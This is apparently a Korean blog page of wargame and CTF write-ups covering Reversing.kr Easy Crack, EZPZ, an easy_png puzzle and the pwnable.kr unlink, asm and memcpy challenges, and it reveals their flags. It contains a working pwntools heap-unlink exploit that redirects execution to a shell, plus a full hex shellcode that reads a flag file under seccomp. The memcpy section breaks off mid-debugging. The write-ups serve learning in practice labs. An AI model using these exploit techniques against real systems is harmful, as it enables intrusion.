반응형
반응형
반응형

Reversing.kr Easy Crack 풀이


Easy_CrackMe.exe 라는 파일이 하나 주어진다.

실행해 보면 창이 하나 뜬다.






Exeinfo로 까보았다.



별거 없다. 올리디버거로 까보면 될 것 같다.

올리디버거를 실행하자.








우클릭 > search for > all reference strings 에 들어가보았다.



여러개의 문자열들이 보인다. 이중에서 성공메세지로 추정되는 문자열을 더블클릭해주어 문자열이 사용되는 위치로 이동했다.





성공메세지를 출력하는 부분으로 보인다. 더 위로 올라가보았다.




'5y', 'R3versing' 이 문자열들과 입력값을 비교하는 것으로 추정된다.

해당 부분과 위에있는 분기점에서 바로 위에 비교구문에 breakpoint (F2)를 걸어주었다.


그리고 실행하여 1234를 넣어보았다.




첫번째 bp다. a와 [LOCAL.24+1]의 값을 비교하는데, [LOCAL.24+1]의 값은 2이다.

그렇다면 [LOCAL.24]에 우리가 입력해준 값이 들어갔을 것이다.


1234에서 2자리에 a를 넣고 길이를 늘려 1a234567890으로 다시 시도해보았다.





a와 우리가 입력한 a를 비교하면서 해당 분기를 통과한다.



그 다음분기는 조건에 맞지 않아 통과하지 못했다.





이번 분기는 '5y'와 비교한다.

a 다음자리에 5y를 넣은 1a5y2345678을 넣어 해당 분기를 통과했다.






그 다음분기는 R과 우리가 입력한 값중 하나인 2를 비교한다.

그렇다면 다음은 R3versing이 오면 된다는 것이다.


1a5yR3versing을 입력해주었다.





4010DA부터 4010FC의 동작을 잘 살펴보면 이렇다:

R3versing과 우리가 입력했던 문자열중 5번째 자리부터의 문자열을 각각 EAX와 ESI에 저장하고

EAX와 ESI에서 각각 한바이트씩 가져와 DL과 BL에 저장하고 DL과 BL을 비교한다.

비교했을 때 값이 같지 않다면 실패부분으로 이동한다.



잘 입력했다면 해당 분기는 통과한다. 그러나 출력되는 메세지는 실패였다.

원인을 알아보기 위해 실패부분으로 이동하는 부분을 찾아 보았다.




실패 부분으로 이동하기 전에 비교를 한번 더 했다.

E와 1을 비교한다. 여기서 1은 우리가 입력했던 값이므로 1을 E로 바꾸어 시도해주었다.






 성공했다



반응형

'WAR GAME > Reversing.kr' 카테고리의 다른 글

Reversing.kr [Music Player] 풀이  (0) 2018.11.03
Reversing.kr [Easy Unpack] 풀이  (0) 2018.09.19
Reversing.kr [Easy Keygen] 풀이  (0) 2018.06.19
반응형

Reversing


EZPZ



EZPZ.exe 파일이 하나 주어진다.


해당 파일을 Exeinfo PE로 까보면 C#으로 작성된 파일임을 알 수 있다.








따라서 해당 파일을 .NET Reflector로 열었다.



EZPZ.exe > EZPZ > EZ > button1_Click(Object, EventArgs) : Void 에서 플래그를 확인할 수 있다.


FLAG : dimi{Welcome_reversing}




이 이후로 봉사를 가야되서 한문제 밖에 못풀어봤다 ㅠㅠ


반응형

'CTF Write Up' 카테고리의 다른 글

KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
H3X0R 4rd CTF 2018 [easy_png] Write-up  (0) 2018.06.14
CODEGATE 2018 OPEN CTF Write-up  (0) 2018.04.06
제 1회 TEAMH4C CTF Write Up  (0) 2017.10.29
반응형

H3X0R 4rd CTF 2018 [easy_png] Write-up




아무런 이미지도 표시되지 않는 png파일이 주어진다.


이 파일을 HxD로 열어보았다.






마지막 부분을 보면, 49 45 4E 44 AE 42 60 82 IEND®B`‚ 으로 끝나야할 파일이 그 뒤에 데이터가 더 있음을 알 수 있다.

그 데이터를 보면 sRGB 로 시작하는데, 파일 헤더를 살펴보면 sRGB부분이 빠져있다.

그렇다면 이 마지막에 있는 sRGB부분이 헤더에서 빠진 sRGB부분일 것이다.






빠진 부분을 채워주었다.






그러고 나니 FLAG가 나왔다.

반응형

'CTF Write Up' 카테고리의 다른 글

H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29
KDMHS CTF 2018 Write-up  (0) 2018.06.18
CODEGATE 2018 OPEN CTF Write-up  (0) 2018.04.06
제 1회 TEAMH4C CTF Write Up  (0) 2017.10.29
[EKOPARTY CTF 2017] Malbolge  (1) 2017.09.17
반응형

unlink - 10 pt

Daddy! how can I exploit unlink corruption?


ssh unlink@pwnable.kr -p2222 (pw: guest)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
    struct tagOBJ* fd;
    struct tagOBJ* bk;
    char buf[8];
}OBJ;
 
void shell(){
    system("/bin/sh");
}
 
void unlink(OBJ* P){
    OBJ* BK;
    OBJ* FD;
    BK=P->bk;
    FD=P->fd;
    FD->bk=BK;
    BK->fd=FD;
}
int main(int argc, char* argv[]){
    malloc(1024);
    OBJ* A = (OBJ*)malloc(sizeof(OBJ));
    OBJ* B = (OBJ*)malloc(sizeof(OBJ));
    OBJ* C = (OBJ*)malloc(sizeof(OBJ));
 
    // double linked list: A <-> B <-> C
    A->fd = B;
    B->bk = A;
    B->fd = C;
    C->bk = B;
 
    printf("here is stack address leak: %p\n"&A);
    printf("here is heap address leak: %p\n", A);
    printf("now that you have leaks, get shell!\n");
    // heap overflow!
    gets(A->buf);
 
    // exploit this unlink!
    unlink(B);
    return 0;
}
 
cs



(gdb) b *main+195

Breakpoint 1 at 0x80485f2

(gdb) r

Starting program: /home/unlink/unlink 

here is stack address leak: 0xffd18214

here is heap address leak: 0x94c2410

now that you have leaks, get shell!

AAAA


Breakpoint 1, 0x080485f2 in main ()

(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2428 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2428 0x00000000 0x00000000


unlink()를 하기 전의 힙 구조입니다.


A의 fd -> B


B의 fd -> C , B의 bk -> A


C의 bk -> B


A <-> B <-> C 이러한 구조를 가지고 있다. gets()로 입력을 받기 때문에, B의 fd, bk 주소를 덮어 쓸 수 있다.



(gdb) x/16wx 0x94c2410

0x94c2410: 0x094c2440 0x00000000 0x41414141 0x00000000

0x94c2420: 0x00000000 0x00000019 0x094c2440 0x094c2410

0x94c2430: 0x00000000 0x00000000 0x00000000 0x00000019

0x94c2440: 0x00000000 0x094c2410 0x00000000 0x00000000


unlink(B) 가 실행되면, A <-> C가 된다.



(gdb) disas unlink

Dump of assembler code for function unlink:

   0x08048504 <+0>: push   ebp

   0x08048505 <+1>: mov    ebp,esp

   0x08048507 <+3>: sub    esp,0x10

   0x0804850a <+6>: mov    eax,DWORD PTR [ebp+0x8]

   0x0804850d <+9>: mov    eax,DWORD PTR [eax+0x4]

   0x08048510 <+12>: mov    DWORD PTR [ebp-0x4],eax

   0x08048513 <+15>: mov    eax,DWORD PTR [ebp+0x8]

   0x08048516 <+18>: mov    eax,DWORD PTR [eax]

   0x08048518 <+20>: mov    DWORD PTR [ebp-0x8],eax

   0x0804851b <+23>: mov    eax,DWORD PTR [ebp-0x8]

   0x0804851e <+26>: mov    edx,DWORD PTR [ebp-0x4]

   0x08048521 <+29>: mov    DWORD PTR [eax+0x4],edx

   0x08048524 <+32>: mov    eax,DWORD PTR [ebp-0x4]

   0x08048527 <+35>: mov    edx,DWORD PTR [ebp-0x8]

   0x0804852a <+38>: mov    DWORD PTR [eax],edx

   0x0804852c <+40>: nop

   0x0804852d <+41>: leave  

   0x0804852e <+42>: ret    


mov [B의 fd + 0x4], B의 bk
mov [B의 bk], B의 fd

이를 이용해서 esp주소에 shell()을 넣고 싶었는데, 반대로도 shell()+0x4에 esp주소가 들어가서 이렇게는 못푼다.


main의 에필로그를 보면,

   0x080485f2 <+195>: call   0x8048504 <unlink>
   0x080485f7 <+200>: add    esp,0x10
   0x080485fa <+203>: mov    eax,0x0
   0x080485ff <+208>: mov    ecx,DWORD PTR [ebp-0x4]
   0x08048602 <+211>: leave  
   0x08048603 <+212>: lea    esp,[ecx-0x4]
   0x08048606 <+215>: ret


((ebp-0x4에 있는 값) - 0x4)을 ret한다.

shell()의 주소를 ret하도록 해야한다.


shell()의 주소를 heap A에 입력할 것이다.


그럼 esp가 heap address + 8이 되어야 하고

ecx는 heap address +12 이어야 하고

이 값이 [ebp-0x4]에 있어야 한다.


[ebp-0x4]에 heap address +12가 들어가도록 하면 된다.


(gdb) disas shell

Dump of assembler code for function shell:

   0x080484eb <+0>: push   ebp

   0x080484ec <+1>: mov    ebp,esp


here is stack address leak: 0xffba0d44
here is heap address leak: 0x9ab4410
now that you have leaks, get shell!
SSSSAAAAAAAAAAAAsssseeee

Program received signal SIGSEGV, Segmentation fault.
0x08048521 in unlink ()
(gdb) x/16wx 0x9ab4410
0x9ab4410: 0x09ab4428 0x00000000 0x53535353 0x41414141
0x9ab4420: 0x41414141 0x41414141 0x73737373 0x65656565
0x9ab4430: 0x00000000 0x00000000 0x00000000 0x00000019
0x9ab4440: 0x00000000 0x09ab4428 0x00000000 0x00000000

SSSS shell()주소
ssss heap+12
eeee ebp-4
가 들어가도록 익스를 짜주면 된다.

stack address에서 ebp의 거리를 구해보자

(gdb) b *main+208
Breakpoint 1 at 0x80485ff
(gdb) r
Starting program: /home/unlink/unlink 
here is stack address leak: 0xffcdfea4
here is heap address leak: 0x8dbd410
now that you have leaks, get shell!
aaaa

Breakpoint 1, 0x080485ff in main ()
(gdb) i r $ebp
ebp            0xffcdfeb8 0xffcdfeb8
(gdb) p 0xffcdfeb8 - 0xffcdfea4
$1 = 20

이제 익스하자

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
 
= ssh(user='unlink',host='pwnable.kr',port=2222,password='guest')
= s.process("./unlink")
 
p.recvuntil("here is stack address leak: ")
stack_addr = int(p.recvline().strip(),16)
ebp = stack_addr+20
 
p.recvuntil("here is heap address leak: ")
heap_addr = int(p.recvline().strip(),16)
log.info("stack : "+hex(stack_addr))
log.info("heap  : "+hex(heap_addr))
p.recvline()
shell = 0x80484eb
 
payload = p32(shell)
payload += "A"*12
payload += p32(heap_addr+12)
payload += p32(ebp-4)
 
p.sendline(payload)
 
p.interactive()
cs



mandu@mandu-VirtualBox:~/ex_pwn$ python local_remote.py 

[+] Connecting to pwnable.kr on port 2222: Done

[*] unlink@pwnable.kr:

    Distro    Ubuntu 16.04

    OS:       linux

    Arch:     amd64

    Version:  4.10.0

    ASLR:     Enabled

[+] Starting remote process './unlink' on pwnable.kr: pid 11044

[*] stack : 0xffdf08b4

[*] heap  : 0x98a0410

[*] Switching to interactive mode

$ $ cat flag

conditional_write_what_where_from_unl1nk_explo1t


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [horcruxes] 풀이  (0) 2019.02.25
pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [asm] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
반응형

asm - 6 pt

Mommy! I think I know how to make shellcodes


ssh asm@pwnable.kr -p2222 (pw: guest)



asm@ubuntu:~$ ls -l

total 28

-rwxr-xr-x 1 root root 13704 Nov 29  2016 asm

-rw-r--r-- 1 root root  1793 Nov 29  2016 asm.c

-rw-r--r-- 1 root root   211 Nov 19  2016 readme

-rw-r--r-- 1 root root    67 Nov 19  2016 this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong

asm@ubuntu:~$ cat readme 

once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.

make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

asm@ubuntu:~$ cat asm.c



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>
 
#define LENGTH 128
 
void sandbox(){
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }
 
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
 
    if (seccomp_load(ctx) < 0){
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}
 
char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");
 
    char* sh = (char*)mmap(0x414140000x10007, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 00);
    memset(sh, 0x900x1000);
    memcpy(sh, stub, strlen(stub));
    
    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh+offset, 1000);
 
    alarm(10);
    chroot("/home/asm_pwn");    // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void (*)(void))sh)();
    return 0;
}
 
cs



asm@ubuntu:~$ nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: 



실행을 해보면 x64 쉘코드를 달라고 한다. 시스템콜[open(), read(), write()]만을 사용한 쉘코드로 flag를 알아내는 문제다.


쉘코드는 python으로 pwntools의 shellcraft를 이용하면 쉘코드를 쉽게 만들 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
 
 
context(arch='amd64', os='linux')
 
payload = ""
payload += shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong')
payload += shellcraft.open('rsp'00)
payload += shellcraft.read('rax''rsp'100)
payload += shellcraft.write(1'rsp'100)
 
print asm(payload).encode('hex')
cs


mandu@mandu-VirtualBox:~/prog_py$ python pwnable_asm.py 

48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05



asm@ubuntu:~$ (python -c 'print "48b801010101010101015048b86e316e316e6f66014831042448b86f306f306f306f305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b830303030306f6f6f5048b830303030303030305048b830303030303030305048b86f6f6f6f303030305048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b86f6f6f6f6f6f6f6f5048b8735f766572795f6c5048b8655f6e616d655f695048b85f7468655f66696c5048b86c652e736f7272795048b85f746869735f66695048b86173655f726561645048b866696c655f706c655048b86b725f666c61675f5048b870776e61626c652e5048b8746869735f69735f504889e731d231f66a02580f054889c731c06a645a4889e60f056a015f6a645a4889e66a01580f05".decode("hex")') | nc 0 9026

Welcome to shellcoding practice challenge.

In this challenge, you can run your x64 shellcode under SECCOMP sandbox.

Try to make shellcode that spits flag using open()/read()/write() systemcalls only.

If this does not challenge you. you should play 'asg' challenge :)

give me your x64 shellcode: Mak1ng_shelLcodE_i5_veRy_eaSy

lease_read_this_file.sorry_the_file_name_is_very_looooooooooooooooooooasm@ubuntu:~$ 




FLAG : Mak1ng_shelLcodE_i5_veRy_eaSy


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [blukat] 풀이  (0) 2019.02.24
pwnable.kr [unlink] 풀이  (0) 2018.06.13
pwnable.kr [memcpy] 풀이  (0) 2018.06.12
pwnable.kr [uaf] 풀이  (1) 2018.06.11
pwnable.kr [cmd2] 풀이  (0) 2018.03.22
반응형

memcpy - 10 pt

Are you tired of hacking?, take some rest here.

Just help me out with my small experiment regarding memcpy performance. 

after that, flag is yours.


http://pwnable.kr/bin/memcpy.c


ssh memcpy@pwnable.kr -p2222 (pw:guest)




memcpy@ubuntu:~$ ls -l

total 8

-rw-r--r-- 1 root root 3172 Mar  4  2016 memcpy.c

-rw-r--r-- 1 root root  192 Mar 10  2016 readme

memcpy@ubuntu:~$ cat readme 

the compiled binary of "memcpy.c" source code (with real flag) will be executed under memcpy_pwn privilege if you connect to port 9022.

execute the binary by connecting to daemon(nc 0 9022).


memcpy@ubuntu:~$ cat memcpy.c 



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// compiled with : gcc -o memcpy memcpy.c -m32 -lm
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/mman.h>
#include <math.h>
 
unsigned long long rdtsc(){
        asm("rdtsc");
}
 
char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}
 
char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }
 
    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}
 
int main(void){
 
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);
 
    printf("Hey, I have a boring assignment for CS class.. :(\n");
    printf("The assignment is simple.\n");
 
    printf("-----------------------------------------------------\n");
    printf("- What is the best implementation of memcpy?        -\n");
    printf("- 1. implement your own slow/fast version of memcpy -\n");
    printf("- 2. compare them with various size of data         -\n");
    printf("- 3. conclude your experiment and submit report     -\n");
    printf("-----------------------------------------------------\n");
 
    printf("This time, just help me out with my experiment and get flag\n");
    printf("No fancy hacking, I promise :D\n");
 
    unsigned long long t1, t2;
    int e;
    char* src;
    char* dest;
    unsigned int low, high;
    unsigned int size;
    // allocate memory
    char* cache1 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    char* cache2 = mmap(00x40007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
    src = mmap(00x20007, MAP_PRIVATE|MAP_ANONYMOUS, -10);
 
    size_t sizes[10];
    int i=0;
 
    // setup experiment parameters
    for(e=4; e<14; e++){    // 2^13 = 8K
        low = pow(2,e-1);
        high = pow(2,e);
        printf("specify the memcpy amount between %d ~ %d : ", low, high);
        scanf("%d"&size);
        ifsize < low || size > high ){
            printf("don't mess with the experiment.\n");
            exit(0);
        }
        sizes[i++= size;
    }
 
    sleep(1);
    printf("ok, lets run the experiment with your configuration\n");
    sleep(1);
 
    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1size);
        dest = mallocsize );
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }
 
    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}
 
cs




memcpy@ubuntu:~$ nc 0 9022

Hey, I have a boring assignment for CS class.. :(

The assignment is simple.

-----------------------------------------------------

- What is the best implementation of memcpy?        -

- 1. implement your own slow/fast version of memcpy -

- 2. compare them with various size of data         -

- 3. conclude your experiment and submit report     -

-----------------------------------------------------

This time, just help me out with my experiment and get flag

No fancy hacking, I promise :D

specify the memcpy amount between 8 ~ 16 : 8

specify the memcpy amount between 16 ~ 32 : 16

specify the memcpy amount between 32 ~ 64 : 32

specify the memcpy amount between 64 ~ 128 : 64

specify the memcpy amount between 128 ~ 256 : 128

specify the memcpy amount between 256 ~ 512 : 256

specify the memcpy amount between 512 ~ 1024 : 512

specify the memcpy amount between 1024 ~ 2048 : 1024

specify the memcpy amount between 2048 ~ 4096 : 2048

specify the memcpy amount between 4096 ~ 8192 : 4096

ok, lets run the experiment with your configuration

experiment 1 : memcpy with buffer size 8

ellapsed CPU cycles for slow_memcpy : 1371

ellapsed CPU cycles for fast_memcpy : 474


experiment 2 : memcpy with buffer size 16

ellapsed CPU cycles for slow_memcpy : 333

ellapsed CPU cycles for fast_memcpy : 414


experiment 3 : memcpy with buffer size 32

ellapsed CPU cycles for slow_memcpy : 504

ellapsed CPU cycles for fast_memcpy : 621


experiment 4 : memcpy with buffer size 64

ellapsed CPU cycles for slow_memcpy : 930

ellapsed CPU cycles for fast_memcpy : 126


experiment 5 : memcpy with buffer size 128

ellapsed CPU cycles for slow_memcpy : 1788





8~16, 16~32 ... 이런식으로 총 10번 해당 범위 사이의 정수값을 입력 받는다.


그러고 나면 slow_memcpy와 fast_memcpy를 하는 것 같다.

위의 시도에서는 experiment5에서 fast_memcpy구간에서 오류가 생겨 끊긴 것 같다.


어떻게 해서든 위 구간을 모두 통가하면 FLAG를 얻을 수 있는 것 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    // run experiment
    for(i=0; i<10; i++){
        size = sizes[i];
        printf("experiment %d : memcpy with buffer size %d\n", i+1size);
        dest = mallocsize );
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        slow_memcpy(dest, src, size);        // byte-to-byte memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for slow_memcpy : %llu\n", t2-t1);
 
        memcpy(cache1, cache2, 0x4000);        // to eliminate cache effect
        t1 = rdtsc();
        fast_memcpy(dest, src, size);        // block-to-block memcpy
        t2 = rdtsc();
        printf("ellapsed CPU cycles for fast_memcpy : %llu\n", t2-t1);
        printf("\n");
    }
 
    printf("thanks for helping my experiment!\n");
    printf("flag : ----- erased in this source code -----\n");
    return 0;
}
 
cs



입력받은 횟수만큼 10번을 진행한다.

우리가 정해준 사이즈 만큼 malloc을 한다(=dest).

memcpy(cache1, cache2, 0x4000); 은 '캐시효과 제거를 위함'이라고 되어있다.


rdtsc()는 정확한 시간을 측정하는 함수라고 한다.

그러면 slow_memcpy()를 진행한 시간을 구하는 용로도 파악된다.


slow_memcpy()와  fast_memcpy()의 주석을 보면 slow 는 바이트 하나하나 복사를 진행하는 것이고 fast는 블록단위로 복사를진행하는 것으로 보인다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
char* slow_memcpy(char* dest, const char* src, size_t len){
    int i;
    for (i=0; i<len; i++) {
        dest[i] = src[i];
    }
    return dest;
}
 
char* fast_memcpy(char* dest, const char* src, size_t len){
    size_t i;
    // 64-byte block fast copy
    if(len >= 64){
        i = len / 64;
        len &= (64-1);
        while(i-- > 0){
            __asm__ __volatile__ (
            "movdqa (%0), %%xmm0\n"
            "movdqa 16(%0), %%xmm1\n"
            "movdqa 32(%0), %%xmm2\n"
            "movdqa 48(%0), %%xmm3\n"
            "movntps %%xmm0, (%1)\n"
            "movntps %%xmm1, 16(%1)\n"
            "movntps %%xmm2, 32(%1)\n"
            "movntps %%xmm3, 48(%1)\n"
            ::"r"(src),"r"(dest):"memory");
            dest += 64;
            src += 64;
        }
    }
 
    // byte-to-byte slow copy
    if(len) slow_memcpy(dest, src, len);
    return dest;
}
 
cs


소스를 보면 역시나 slow_memcpy()는 src에서 dest로 바이트 하나하나 복사한다.


 그러나 fast_memcpy()를 보면 사이즈가 64바이트 미만인 경우에만 slow_memcpy를 실행하고 사이즈가 64바이트 이상인 경우 어셈블리어로 이루어진 코드를 실행한다. 또한 64바이트 단위로 해당 어셈코드를 실행한후 나머지 바이트에 대해서도 slow_memcpy를 진행한다.



위에서 시도해보았을 때 experiment 5에서 fast_memcpy()를 실행하다가 끊겼으므로 어셈으로 이루어진 코드에서 오류가 생겼을 가능성이 높다.


어셈코드를 분석해 보자.


1
2
3
4
5
6
7
8
9
10
__asm__ __volatile__ (
"movdqa (%0), %%xmm0\n"
"movdqa 16(%0), %%xmm1\n"
"movdqa 32(%0), %%xmm2\n"
"movdqa 48(%0), %%xmm3\n"
"movntps %%xmm0, (%1)\n"
"movntps %%xmm1, 16(%1)\n"
"movntps %%xmm2, 32(%1)\n"
"movntps %%xmm3, 48(%1)\n"
::"r"(src),"r"(dest):"memory");
cs


movdqa와 movntps가 사용되었다.


movdqa : (구글번역기를 돌렸다...)


소스 피연산자 (두 번째 피연산자)의 이중 쿼드 워드를 대상 피연산자 (첫 번째 피연산자)로 이동합니다. 이 명령어는 더블 쿼드 워드를 XMM 레지스터와 128 비트 메모리 위치간에 또는 두 개의 XMM 레지스터간에 이동하는 데 사용할 수 있습니다. 소스 또는 대상 피연산자가 메모리 피연산자 인 경우 피연산자는 16 바이트 경계에 정렬되어야하며 그렇지 않으면 일반 보호 예외 (#GP)가 생성됩니다.



16바이트 경계에 정렬되지 않으면 예외가 발생하는 명령어인 듯하다.

정렬이 뭐지...


바이트 정렬에 대한 이미지 검색결과


구글링하다가 사진을 하나 찾았다.



저런식으로 16바이트 단위로 주소를 맞춰 주어야 하는 것 같다.


피연산자인 dest의 주소가 16바이트 단위로 만들어 준다면 해결될 것이다.


위 코드로 컴파일 해서 dest의 주소를 구하자


소스코드에 dest의 주소를 출력해주는 명령어를 추가해주었다:


printf("dest: %p\n", dest);



mandu@mandu-VirtualBox:~$ gedit memcpy.c

mandu@mandu-VirtualBox:~$ gcc -o memcpy memcpy.c -m32 -lm

In file included from /usr/include/stdio.h:27:0,

                 from memcpy.c:2:

/usr/include/features.h:367:25: fatal error: sys/cdefs.h: 그런 파일이나 디렉터리가 없습니다

compilation terminated.



오류가 난다.. 찾아보니 
sudo apt-get install gcc-multilib && sudo apt-get install libc6-dev-i386

이 두개를 설치해주면 해결된다고 한다.


mandu@mandu-VirtualBox:~$ gedit memcpy.c

mandu@mandu-VirtualBox:~$ gcc -o memcpy memcpy.c -m32 -lm

mandu@mandu-VirtualBox:~$ gdb -q memcpy

Reading symbols from memcpy...(no debugging symbols found)...done.

(gdb) r

Starting program: /home/mandu/memcpy 

Hey, I have a boring assignment for CS class.. :(

The assignment is simple.

-----------------------------------------------------

- What is the best implementation of memcpy?        -

- 1. implement your own slow/fast version of memcpy -

- 2. compare them with various size of data         -

- 3. conclude your experiment and submit report     -

-----------------------------------------------------

This time, just help me out with my experiment and get flag

No fancy hacking, I promise :D

specify the memcpy amount between 8 ~ 16 : 8

